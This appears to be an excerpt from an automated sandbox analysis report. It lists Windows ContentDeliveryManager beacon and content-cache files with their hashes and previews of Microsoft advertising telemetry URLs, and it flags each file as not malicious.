                  Preview:..{.".b.a.t.c.h.r.s.p.".:.{.".v.e.r.".:.".1...0.".,.".e.r.r.o.r.s.".:.[.{.".c.o.d.e.".:.2.0.4.0.,.".m.s.g.".:.".D.e.m.a.n.d. .s.o.u.r.c.e. .r.e.t.u.r.n.s. .e.r.r.o.r. .(.N.a.m.e.:. .G.N._.p.s.,. .E.r.r.o.r.:. .N.o. .e.l.i.g.i.b.l.e. .c.o.n.t.e.n.t...)...".}.].,.".r.e.f.r.e.s.h.t.i.m.e.".:.".2.0.2.2.-.0.7.-.2.0.T.1.0.:.0.5.:.0.3.".}.}.

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\eventbeacons.dat (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with CRLF line terminators
                  Category:dropped
                  Size (bytes):10378
                  Entropy (8bit):5.373130521410003
                  Encrypted:false
                  SSDEEP:192:1njuQjgjN2ja2jej3jYjnjaj1WPuwlxly8IVpFA:wFRg
                  MD5:50552B997EE295E4703E55DCFD1D16B5
                  SHA1:247675D2BB7C0387EBA490860E275CD37A5071EC
                  SHA-256:4165935B15A845DC74A06A711C9433F2C1B8D7A5FFFA888B3131444B09EE0457
                  SHA-512:0D8B9FA325424BDDDB3221B2745CF38EA68D2CFE5B977D76820BC7ED86C54C3D85F4D2D34CC16D9D86379BCD0507E82FA1AACCDEB69771C2293E7F763D3A3630
                  Malicious:false
                  Preview:https://ris.api.iris.microsoft.com/v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=976c13f62953493b918c8b7a2345150e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7d58be8526844e4da2a98a822806ec66&time=20220720T150557Z..https://ris.api.iris.microsoft.com/v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=976c13f62953493b918c8b7a2345150e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=7d58be8526844e4da2a98a822806ec66&time=20220720T150558Z..https://ris.api.iris.microsoft.com/v1/a/impression?pg=

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\eventbeacons.dat.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with CRLF line terminators
                  Category:dropped
                  Size (bytes):10378
                  Entropy (8bit):5.373130521410003
                  Encrypted:false
                  SSDEEP:192:1njuQjgjN2ja2jej3jYjnjaj1WPuwlxly8IVpFA:wFRg
                  MD5:50552B997EE295E4703E55DCFD1D16B5
                  SHA1:247675D2BB7C0387EBA490860E275CD37A5071EC
                  SHA-256:4165935B15A845DC74A06A711C9433F2C1B8D7A5FFFA888B3131444B09EE0457
                  SHA-512:0D8B9FA325424BDDDB3221B2745CF38EA68D2CFE5B977D76820BC7ED86C54C3D85F4D2D34CC16D9D86379BCD0507E82FA1AACCDEB69771C2293E7F763D3A3630
                  Malicious:false
                  Preview:https://ris.api.iris.microsoft.com/v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=976c13f62953493b918c8b7a2345150e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=7d58be8526844e4da2a98a822806ec66&time=20220720T150557Z..https://ris.api.iris.microsoft.com/v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=976c13f62953493b918c8b7a2345150e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=7d58be8526844e4da2a98a822806ec66&time=20220720T150558Z..https://ris.api.iris.microsoft.com/v1/a/impression?pg=

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\imprbeacons.dat (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with CRLF line terminators
                  Category:dropped
                  Size (bytes):2890
                  Entropy (8bit):5.232366892930619
                  Encrypted:false
                  SSDEEP:48:eSYS9xO1MxEEsBHT+TdS8Zm+jctMMxEEsBHT+TdSl:F50+tO0+s
                  MD5:D7BAF7FE09706330A0454E806175CF87
                  SHA1:7ACB82FB38E4738DEC395DAA9B00481AC6304099
                  SHA-256:3B6D3BB1A6C915A52359C11FC97356A363F376F2F5497CC24F5223FFF7C90979
                  SHA-512:AE9538D7955A7355C318FB68ADB802F8155D522B6003D6806C1F604F444F21D9B366FFF6DC2B993E5205B9B6892FCC0101B2D5969B150B2E800C17BF623C7D38
                  Malicious:false
                  Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=425106558&TID=700342085&CID=128000000001392729&BID=1189970720&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=C5A4000F72D8470DB111E711FBF526B5&ASID=7d58be8526844e4da2a98a822806ec66&TIME=20220720T150524Z&SLOT=2&REQT=20220720T060327&MA_Score=2&LOCALID=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&DS_EVTID=976c13f62953493b918c8b7a2345150e&BCNT=1&PG=PC000P0FR5.0000000IQ8&UNID=314559&MAP_TID=3F78D317-5E51-4C98-B19F-659DF28AF244&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=C5A4000F72D8470DB111E711FBF526B5&REQASID=C5A4000F72D8470DB111E711FBF526B5&ARC=1&EMS=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=984&LOH=24&LO=1418274&RAFB=0&MARKETBASEDCOUNTRY=US&CLR=CDM&CFMT=TEXT%2CIMAGE&SFT=JPEG%2CPNG%2CGIF%2CJPG&H=1&W=1&TP=1&FESVER=1.3&CACHE_CHS=0&CACHE_IMP=0&CACHE_CHF=0&CACH

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\314559\imprbeacons.dat.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with CRLF line terminators
                  Category:dropped
                  Size (bytes):2890
                  Entropy (8bit):5.232366892930619
                  Encrypted:false
                  SSDEEP:48:eSYS9xO1MxEEsBHT+TdS8Zm+jctMMxEEsBHT+TdSl:F50+tO0+s
                  MD5:D7BAF7FE09706330A0454E806175CF87
                  SHA1:7ACB82FB38E4738DEC395DAA9B00481AC6304099
                  SHA-256:3B6D3BB1A6C915A52359C11FC97356A363F376F2F5497CC24F5223FFF7C90979
                  SHA-512:AE9538D7955A7355C318FB68ADB802F8155D522B6003D6806C1F604F444F21D9B366FFF6DC2B993E5205B9B6892FCC0101B2D5969B150B2E800C17BF623C7D38
                  Malicious:false
                  Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=425106558&TID=700342085&CID=128000000001392729&BID=1189970720&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=C5A4000F72D8470DB111E711FBF526B5&ASID=7d58be8526844e4da2a98a822806ec66&TIME=20220720T150524Z&SLOT=2&REQT=20220720T060327&MA_Score=2&LOCALID=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&DS_EVTID=976c13f62953493b918c8b7a2345150e&BCNT=1&PG=PC000P0FR5.0000000IQ8&UNID=314559&MAP_TID=3F78D317-5E51-4C98-B19F-659DF28AF244&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=C5A4000F72D8470DB111E711FBF526B5&REQASID=C5A4000F72D8470DB111E711FBF526B5&ARC=1&EMS=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=984&LOH=24&LO=1418274&RAFB=0&MARKETBASEDCOUNTRY=US&CLR=CDM&CFMT=TEXT%2CIMAGE&SFT=JPEG%2CPNG%2CGIF%2CJPG&H=1&W=1&TP=1&FESVER=1.3&CACHE_CHS=0&CACHE_IMP=0&CACHE_CHF=0&CACH

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\eventbeacons.dat (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with CRLF line terminators
                  Category:dropped
                  Size (bytes):1178
                  Entropy (8bit):5.379838122977373
                  Encrypted:false
                  SSDEEP:24:2AsfLW90MeK45fVmIhzL7MkAsfLW90MeK45fVmIhzL7MG:psToEK4aKvQkAsToEK4aKvQG
                  MD5:58E42AC0E7FA455136E6D8DB60F60CF3
                  SHA1:C69FA3B765ED3857E15D858186839937AFB827DA
                  SHA-256:5E54308BBC9B084C3313380DB6171C03210B79142451A1599703351FD6D2A4A8
                  SHA-512:AC430017AD79E5FA71106AE2E2987CFDB3F7C7899C0C4553482278AD49C3E20BC7AF1429017CD356A352C4FAFD13464ED2F2A9254736A4F64816A2773341B8FB
                  Malicious:false
                  Preview:https://ris.api.iris.microsoft.com/v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400089837&UIT=P-&TargetID=700129702&AN=221107473&PG=PC000P0FR5.0000000IRT&REQASID=F5B061E82FA541BD8FE65BAA679CCE5B&UNID=338388&ASID=1f34c2388cae4d95b48e19a4e3321966&PERSID=01A42CCEBDCE10BFEA4CEC9C6CF80288&GLOBALDEVICEID=6966531497124776&LOCALID=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&DS_EVTID=edbc978264754e88a62ac410808e635f&DEVOSVER=10.0.17134.1&REQT=20220720T060422&TIME=20220720T150502Z&ARCRAS=&CLR=CDM..https://ris.api.iris.microsoft.com/v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400089837&UIT=P-&TargetID=700129702&AN=221107473&PG=PC000P0FR5.0000000IRT&REQASID=F5B061E82FA541BD8FE65BAA679CCE5B&UNID=338388&ASID=1f34c2388cae4d95b48e19a4e3321966&PERSID=01A42CCEBDCE10BFEA4CEC9C6CF80288&GLOBALDEVICEID=6966531497

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\eventbeacons.dat.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with CRLF line terminators
                  Category:dropped
                  Size (bytes):1178
                  Entropy (8bit):5.379838122977373
                  Encrypted:false
                  SSDEEP:24:2AsfLW90MeK45fVmIhzL7MkAsfLW90MeK45fVmIhzL7MG:psToEK4aKvQkAsToEK4aKvQG
                  MD5:58E42AC0E7FA455136E6D8DB60F60CF3
                  SHA1:C69FA3B765ED3857E15D858186839937AFB827DA
                  SHA-256:5E54308BBC9B084C3313380DB6171C03210B79142451A1599703351FD6D2A4A8
                  SHA-512:AC430017AD79E5FA71106AE2E2987CFDB3F7C7899C0C4553482278AD49C3E20BC7AF1429017CD356A352C4FAFD13464ED2F2A9254736A4F64816A2773341B8FB
                  Malicious:false
                  Preview:https://ris.api.iris.microsoft.com/v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400089837&UIT=P-&TargetID=700129702&AN=221107473&PG=PC000P0FR5.0000000IRT&REQASID=F5B061E82FA541BD8FE65BAA679CCE5B&UNID=338388&ASID=1f34c2388cae4d95b48e19a4e3321966&PERSID=01A42CCEBDCE10BFEA4CEC9C6CF80288&GLOBALDEVICEID=6966531497124776&LOCALID=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&DS_EVTID=edbc978264754e88a62ac410808e635f&DEVOSVER=10.0.17134.1&REQT=20220720T060422&TIME=20220720T150502Z&ARCRAS=&CLR=CDM..https://ris.api.iris.microsoft.com/v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400089837&UIT=P-&TargetID=700129702&AN=221107473&PG=PC000P0FR5.0000000IRT&REQASID=F5B061E82FA541BD8FE65BAA679CCE5B&UNID=338388&ASID=1f34c2388cae4d95b48e19a4e3321966&PERSID=01A42CCEBDCE10BFEA4CEC9C6CF80288&GLOBALDEVICEID=6966531497

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\imprbeacons.dat (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with CRLF line terminators
                  Category:dropped
                  Size (bytes):1573
                  Entropy (8bit):5.2005127261724216
                  Encrypted:false
                  SSDEEP:24:28/2QMeK6Vmj44MhzLcet5I6KtsMeKvhQDjJ9UfsLNKcN5pHTUTrK0JdIiYsiIj:x2QK3j5evH3KtcKZQR2sBbHT+RdfSa
                  MD5:83FCF3A84AC6BD793096F369BBB28E9D
                  SHA1:958401B9714F89D6D5E0D9A72202F0F482DF5B15
                  SHA-256:4669FC651161A9A57161F3CC7ABC6C21AC7A728C5AB1F1A02395B94FEF9E9D91
                  SHA-512:F2ED6AD166DF5721B31FB034FB38B4F0F3BAC40E8B6CB9ACF7194C1AB192446E563EFB0A3EC647E339F5B220EC6742392AFC54A1DFB635DA0B4004DA0C6A5AAA
                  Malicious:false
                  Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=400089837&TID=700129702&CID=128000000000402926&BID=221107473&PG=PC000P0FR5.0000000IRT&TPID=400089837&REQASID=F5B061E82FA541BD8FE65BAA679CCE5B&ASID=1f34c2388cae4d95b48e19a4e3321966&TIME=20220720T150502Z&SLOT=1&REQT=20220720T060422&MA_Score=2&PERSID=01A42CCEBDCE10BFEA4CEC9C6CF80288&GLOBALDEVICEID=6966531497124776&LOCALID=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&DS_EVTID=edbc978264754e88a62ac410808e635f&BCNT=1&PG=PC000P0FR5.0000000IRT&UNID=338388&MAP_TID=0E00BC35-683B-4F18-BCA0-8F067CEE9FC3&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=F5B061E82FA541BD8FE65BAA679CCE5B&REQASID=F5B061E82FA541BD8FE65BAA679CCE5B&ARC=1&EMS=1&AUTH=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&ID=01A42CCEBDCE10BFEA4CEC9C6CF80288&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=1118&LOH=24&LO=1611149&RAFB=0&MARKETBASEDCOUNTRY=US&CL

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\imprbeacons.dat.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with CRLF line terminators
                  Category:dropped
                  Size (bytes):1573
                  Entropy (8bit):5.2005127261724216
                  Encrypted:false
                  SSDEEP:24:28/2QMeK6Vmj44MhzLcet5I6KtsMeKvhQDjJ9UfsLNKcN5pHTUTrK0JdIiYsiIj:x2QK3j5evH3KtcKZQR2sBbHT+RdfSa
                  MD5:83FCF3A84AC6BD793096F369BBB28E9D
                  SHA1:958401B9714F89D6D5E0D9A72202F0F482DF5B15
                  SHA-256:4669FC651161A9A57161F3CC7ABC6C21AC7A728C5AB1F1A02395B94FEF9E9D91
                  SHA-512:F2ED6AD166DF5721B31FB034FB38B4F0F3BAC40E8B6CB9ACF7194C1AB192446E563EFB0A3EC647E339F5B220EC6742392AFC54A1DFB635DA0B4004DA0C6A5AAA
                  Malicious:false
                  Preview:https://arc.msn.com/v3/Delivery/Events/Impression=&PID=400089837&TID=700129702&CID=128000000000402926&BID=221107473&PG=PC000P0FR5.0000000IRT&TPID=400089837&REQASID=F5B061E82FA541BD8FE65BAA679CCE5B&ASID=1f34c2388cae4d95b48e19a4e3321966&TIME=20220720T150502Z&SLOT=1&REQT=20220720T060422&MA_Score=2&PERSID=01A42CCEBDCE10BFEA4CEC9C6CF80288&GLOBALDEVICEID=6966531497124776&LOCALID=w:FE8E72D9-9324-F27F-91C7-FEE66B531521&DS_EVTID=edbc978264754e88a62ac410808e635f&BCNT=1&PG=PC000P0FR5.0000000IRT&UNID=338388&MAP_TID=0E00BC35-683B-4F18-BCA0-8F067CEE9FC3&NCT=1&PN=DA63DF93-3DBC-42AE-A505-B34988683AC7&ASID=F5B061E82FA541BD8FE65BAA679CCE5B&REQASID=F5B061E82FA541BD8FE65BAA679CCE5B&ARC=1&EMS=1&AUTH=1&LOCALE=EN-US&COUNTRY=US&HTD=-1&LANG=1033&DEVLANG=EN&CIP=84.17.52.2&ID=01A42CCEBDCE10BFEA4CEC9C6CF80288&OPTOUTSTATE=256&HTTPS=1&PRODID=00000000-0000-0000-0000-000000000000&DVTP=2&DEVOSVER=10.0.17134.1&DEVOSMAJ=10&DEVOSMIN=0&DEVOSBLD=17134&DEVOSMINBLD=1&LOD=1118&LOH=24&LO=1611149&RAFB=0&MARKETBASEDCOUNTRY=US&CL

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\d4e9a0e6da7746b3aa75cdda4a2e1345_1 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):1752
                  Entropy (8bit):5.574520875708212
                  Encrypted:false
                  SSDEEP:24:Yrw+lePMAl2c0iiveVLsfWuKN/dUmpMhQbSDi3Hhs7k6yFzkLSjhRl3uh+9Y:YrLtzi8kLs/KVWrfDi3BLHFzkwhHuI6
                  MD5:3A7C34259C99BE63797C0C8BDE8B5A0E
                  SHA1:F6558709DFE4CD9A0CE2A811E48E26419C11D57D
                  SHA-256:347E475B36FF27FB2B6CF81F00476CFC5575873839DAB597622374B033AA2BFD
                  SHA-512:88D8E414EBE772FD303222FE4DB0FDF44EE18C1DD1CBCFE17044032EF33A852BC4B44999249C75D7E22EA42F8498476FBDE8DFDC09ADB30B60C0304E551C23D6
                  Malicious:false
                  Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"d4e9a0e6da7746b3aa75cdda4a2e1345","ctx.creativeId":"1658329474`128000000001627409`0`d4e9a0e6da7746b3aa75cdda4a2e1345`604800`280815`137271744000000000","ctx.cv":"DfO2MviR+0Wfx5VI.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-280815","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116123&UIT=P-&TargetID=700333390&AN=150720520&PG=PC000P0FR5.0000000INM&REQASID=B6269E502EC1414582F4FDDF924C9463&UNID=280815&ID=01A42CCEBDCE10BFEA4CEC9C6CF80288&ASID={ASID}&

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\d4e9a0e6da7746b3aa75cdda4a2e1345_1.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):1752
                  Entropy (8bit):5.574520875708212
                  Encrypted:false
                  SSDEEP:24:Yrw+lePMAl2c0iiveVLsfWuKN/dUmpMhQbSDi3Hhs7k6yFzkLSjhRl3uh+9Y:YrLtzi8kLs/KVWrfDi3BLHFzkwhHuI6
                  MD5:3A7C34259C99BE63797C0C8BDE8B5A0E
                  SHA1:F6558709DFE4CD9A0CE2A811E48E26419C11D57D
                  SHA-256:347E475B36FF27FB2B6CF81F00476CFC5575873839DAB597622374B033AA2BFD
                  SHA-512:88D8E414EBE772FD303222FE4DB0FDF44EE18C1DD1CBCFE17044032EF33A852BC4B44999249C75D7E22EA42F8498476FBDE8DFDC09ADB30B60C0304E551C23D6
                  Malicious:false
                  Preview:{"class":"content","collections":[],"itemPropertyManifest":{"noOp":{"type":"action"}},"items":[{"properties":{"noOp":{"event":"none","parameters":{"ctx.action":"noOp","ctx.containerPath":"//item[0]","ctx.contentId":"d4e9a0e6da7746b3aa75cdda4a2e1345","ctx.creativeId":"1658329474`128000000001627409`0`d4e9a0e6da7746b3aa75cdda4a2e1345`604800`280815`137271744000000000","ctx.cv":"DfO2MviR+0Wfx5VI.0","ctx.expiration":"137271744000000000","ctx.placementId":"SubscribedContent-280815","noOp":"//item[0]/property[noOp]"},"action":"noOp"}},"tracking":{"events":[{"id":"//item[0]?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?CID=128000000001627409&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID={EID}&&PID=425116123&UIT=P-&TargetID=700333390&AN=150720520&PG=PC000P0FR5.0000000INM&REQASID=B6269E502EC1414582F4FDDF924C9463&UNID=280815&ID=01A42CCEBDCE10BFEA4CEC9C6CF80288&ASID={ASID}&

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\7d58be8526844e4da2a98a822806ec66_1 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):84218
                  Entropy (8bit):5.603900687989026
                  Encrypted:false
                  SSDEEP:1536:fcm+x+D+R0uyuOuajIqIqIyQL7LaL4OLtGTfxqTfxvTfxECTi1D1E1mGC4ClCGMS:fcm+x+D+R0uyuOuajIqIqIyQL7LaL4OC
                  MD5:B7917926C886E6768B5323668BD660EF
                  SHA1:5F34A604AAB38A7FD1CD09C47C75752748B68EB5
                  SHA-256:D8177C17F4051043706E4A0DD5EA72F496F81E2CF14153E8A0F5E36BE350BF34
                  SHA-512:43A1CDC27D155E8615AAF90A835558320956C3E36EFB312B09BA52ECD55FA82D5E5C6F6B7A242F4EA4A8F00C7DF8FF0841AFC435DD75A7A0FF9F7ABF23DA1AD5
                  Malicious:false
                  Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=976c13f62953493b918c8b7a2345150e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\7d58be8526844e4da2a98a822806ec66_1.~tmp

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):84218
                  Entropy (8bit):5.603900687989026
                  Encrypted:false
                  SSDEEP:1536:fcm+x+D+R0uyuOuajIqIqIyQL7LaL4OLtGTfxqTfxvTfxECTi1D1E1mGC4ClCGMS:fcm+x+D+R0uyuOuajIqIqIyQL7LaL4OC
                  MD5:B7917926C886E6768B5323668BD660EF
                  SHA1:5F34A604AAB38A7FD1CD09C47C75752748B68EB5
                  SHA-256:D8177C17F4051043706E4A0DD5EA72F496F81E2CF14153E8A0F5E36BE350BF34
                  SHA-512:43A1CDC27D155E8615AAF90A835558320956C3E36EFB312B09BA52ECD55FA82D5E5C6F6B7A242F4EA4A8F00C7DF8FF0841AFC435DD75A7A0FF9F7ABF23DA1AD5
                  Malicious:false
                  Preview:{"itemPropertyManifest":{"storeCampaignId":{"type":"text","isOptional":true},"installApp":{"type":"boolean"},"installDelay":{"type":"text"},"swapStartTile":{"type":"action"},"displayName":{"type":"text"},"phoneticName":{"type":"text"},"packageSize":{"type":"numeric"},"launchStore":{"type":"action"},"onRender":{"type":"action"},"showNameOnMediumTile":{"type":"boolean"},"showNameOnWideTile":{"type":"boolean"},"showNameOnLargeTile":{"type":"boolean"},"smallTile":{"type":"image"},"collection":{"type":"numeric"},"mediumTile":{"type":"image"},"backgroundColor":{"type":"text"}},"propertyManifest":{},"properties":{},"tracking":{"events":[{"id":"/?eventName=impression","name":"impression"}],"parameterized":[{"uri":"https://ris.api.iris.microsoft.com/v1/a/{ACTION}?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=976c13f62953493b918c8b7a2345150e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.1713

                  C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\885531ce9aca4afd895bbfda82916f76_1 (copy)

                  Download File
                  Process:C:\Windows\System32\backgroundTaskHost.exe
                  File Type:ASCII text, with very long lines, with no line terminators
                  Category:dropped
                  Size (bytes):51123
                  Entropy (8bit):5.588694385402492
                  Encrypted:false
                  SSDEEP:1536:BieCLvt5TD3MirQ9S0wAWX3Kl2RukvmGH:BieCLvt5TD3MiYS0wAWX3Kl2RukvmGH
                  MD5:54D53B5454B2E056DF21CBA449FA797E
                  SHA1:1908E3E429ACB0EB82985365613D98610622EB06
                  SHA-256:BBB502476EB143863F3CC22A580911EE23FE93A346680711D1CB575572198721
                  SHA-512:B8665432415445B6889CA0800D62E7AF5FE7D069B3EA7F281F16371D367E2834936B9A198A67B9E9B10338786256A69EE3CBF4AA6DC4426215ED9F1040C6B3B3
                  Malicious:false
